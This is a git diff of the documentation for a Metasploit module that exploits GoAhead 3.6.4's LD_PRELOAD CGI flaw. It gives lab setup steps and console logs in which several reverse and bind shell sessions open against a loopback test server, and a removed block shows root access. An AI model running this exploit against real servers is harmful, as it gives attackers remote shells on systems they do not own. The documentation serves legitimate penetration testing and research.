@@ -16,7 +16,7 @@ git checkout tags/v3.6.4 -q
16
16
make > /dev/null
17
17
cd test
18
18
gcc ./cgitest.c -o cgi-bin/cgitest
19
- sudo ../build/linux-x64-default/bin/goahead
19
+ ../build/linux-x64-default/bin/goahead . 127.1.1.1:8080
20
20
```
21
21
22
22
## Verification Steps
@@ -25,7 +25,7 @@ sudo ../build/linux-x64-default/bin/goahead
25
25
26
26
1 . Install the application
27
27
2 . Start msfconsole
28
- 3 . Do: ``` use exploit/linux/http/goahead_cgi_exec ```
28
+ 3 . Do: ``` use exploit/linux/http/goahead_ldpreload ```
29
29
4 . Do: ``` set rhost [ip] ```
30
30
5 . Do: ``` exploit ```
31
31
6 . You should get a shell.
@@ -41,21 +41,76 @@ sudo ../build/linux-x64-default/bin/goahead
41
41
### GoAhead 3.6.4 on Ubuntu 16.04 x64
42
42
43
43
```
44
- [*] Processing goahead.rc for ERB directives.
45
- resource (goahead.rc)> use exploit/linux/http/goahead_cgi_exec
46
- resource (goahead.rc)> set verbose true
47
- verbose => true
48
- resource (goahead.rc)> set rhost 127.1.1.1
49
- rhost => 127.1.1.1
50
- resource (goahead.rc)> check
51
- <TBD>
52
- resource (goahead.rc)> exploit
53
- [*] Started reverse TCP handler on 127.1.1.1:4444
54
- [*] Sending Exploit to /cgi-bin/cgitest
55
- [*] Command shell session 1 opened (127.1.1.1:4444 -> 127.1.1.1:45762) at 2017-12-23 17:12:39 -0500
44
+
45
+ msf> use exploit/linux/http/goahead_preload
46
+ msf exploit(goahead_ldpreload) > set RHOST 127.1.1.1
47
+ msf exploit(goahead_ldpreload) > set RPORT 8080
48
+ msf exploit(goahead_ldpreload) > check
49
+
50
+ [*] Searching 390 paths for an exploitable CGI endpoint...
51
+ [+] Exploitable CGI located at /cgi-bin/cgitest
52
+ [+] 127.1.1.1:8080 The target is vulnerable.
53
+
54
+ msf exploit(goahead_ldpreload) > exploit
55
+
56
+ [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
57
+ [*] Started reverse TCP handler on 127.0.0.1:4444
58
+ [*] Searching 390 paths for an exploitable CGI endpoint...
59
+ [+] Exploitable CGI located at /cgi-bin/cgitest
60
+ [*] Command shell session 4 opened (127.0.0.1:4444 -> 127.0.0.1:32988) at 2017-12-28 16:26:50 -0600
61
+
62
+ uname -a
63
+ Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
64
+ exit
65
+
66
+ msf exploit(goahead_ldpreload) > set TARGET 1
67
+ msf exploit(goahead_ldpreload) > unset PAYLOAD
68
+ msf exploit(goahead_ldpreload) > exploit
69
+
70
+ [*] Started bind handler
71
+ [*] Searching 390 paths for an exploitable CGI endpoint...
72
+ [+] Exploitable CGI located at /cgi-bin/cgitest
73
+ [*] Command shell session 5 opened (127.0.0.1:30836 -> 127.1.1.1:4444) at 2017-12-28 16:28:04 -0600
74
+
75
+ uname -a
76
+ Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
77
+ exit
78
+
79
+ msf exploit(goahead_ldpreload) > set TARGET 2
80
+ msf exploit(goahead_ldpreload) > unset PAYLOAD
81
+ msf exploit(goahead_ldpreload) > exploit
82
+
83
+ [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
84
+ [*] Started reverse TCP double handler on 127.0.0.1:4444
85
+ [*] Searching 390 paths for an exploitable CGI endpoint...
86
+ [+] Exploitable CGI located at /cgi-bin/cgitest
87
+ [*] Accepted the first client connection...
88
+ [*] Accepted the second client connection...
89
+ [*] Command: echo sNRXNjxWl7ic0uWw;
90
+ [*] Writing to socket A
91
+ [*] Writing to socket B
92
+ [*] Reading from sockets...
93
+ [*] Reading from socket B
94
+ [*] B: "sNRXNjxWl7ic0uWw\r\n"
95
+ [*] Matching...
96
+ [*] A is input...
97
+ [*] Command shell session 6 opened (127.0.0.1:4444 -> 127.0.0.1:32995) at 2017-12-28 16:28:56 -0600
98
+
99
+ uname -a
100
+ Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
101
+
102
+
103
+ msf exploit(goahead_ldpreload) > set TARGET 4
104
+ msf exploit(goahead_ldpreload) > unset PAYLOAD
105
+ msf exploit(goahead_ldpreload) > exploit
106
+
107
+ [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
108
+ [*] Started reverse TCP handler on 127.0.0.1:4444
109
+ [*] Searching 390 paths for an exploitable CGI endpoint...
110
+ [+] Exploitable CGI located at /cgi-bin/cgitest
111
+ [*] Command shell session 7 opened (127.0.0.1:4444 -> 127.0.0.1:33000) at 2017-12-28 16:29:34 -0600
112
+
56
113
uname -a
57
- Linux goahead 4.4.0-21 -generic #37 -Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
114
+ Linux smash 4.4.0-96 -generic #119 -Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
58
115
59
- whoami
60
- root
61
116
```
0 commit comments